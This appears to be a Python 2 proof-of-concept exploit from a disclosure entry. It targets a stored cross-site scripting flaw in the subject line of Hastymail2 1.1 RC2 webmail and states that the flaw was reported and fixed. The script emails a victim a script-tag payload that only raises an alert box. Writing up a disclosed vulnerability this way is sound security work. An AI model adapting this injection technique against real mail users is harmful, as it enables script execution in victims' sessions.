#!/usr/bin/python
'''
# Exploit Title: Hastymail2 Webmail Stored XSS
# Date: 17/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://www.hastymail.org
# Software Link: http://sourceforge.net/projects/hastymail/files/latest/download
# Version: 1.1 RC2
#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar
# Timeline:
#17 Aug 2012: Discovered Vulnerability.
#17 Aug 2012: Sent details to the developer.
#17 Aug 2012: Fixed - http://hastymail.svn.sourceforge.net/viewvc/hastymail?view=revision&revision=2078
About the Application:
======================
Hastymail2 is a full featured IMAP/SMTP client written in PHP. Our goal is to create a fast, secure, compliant web mail client that has great usability.
Hastymail2 is much more lightweight than most popular web based mail applications but still maintains a competitive feature set. The project originated
as Hastymail in 2002, then was nearly completely rewritten as Hastymail2 starting in January of 2008. We have had several stable releases of the second
generation of Hastymail and development continues to be active.
Vulnerability Description
=========================
1. Stored XSS in email subject in Thread View.
XSS Payload: <script>alert("XSS")<script>
Send an email to the victim with the payload in the subject field.
When the client opens the message and selects "Thread View" the XSS will be triggered.
'''
import smtplib
print "###############################################"
print "# Hastymail2 1.1 RC2 Stored XSS POC #"
print "# Coded by: Shai rod #"
print "# @NightRang3r #"
print "# http://exploit.co.il #"
print "# For Educational Purposes Only! #"
print "###############################################\r\n"
# SETTINGS
sender = "attacker@localhost"
smtp_login = sender
smtp_password = "qwe123"
recipient = "victim@localhost"
smtp_server = "192.168.1.10"
smtp_port = 25
subject = "Hastymail2 Webmail XSS POC"
xss_payload = """<script>alert("XSS")</script>"""
# SEND E-MAIL
print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
% (sender, ", ".join(recipient), subject + xss_payload) )
msg += "Content-type: text/html\n\n"
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"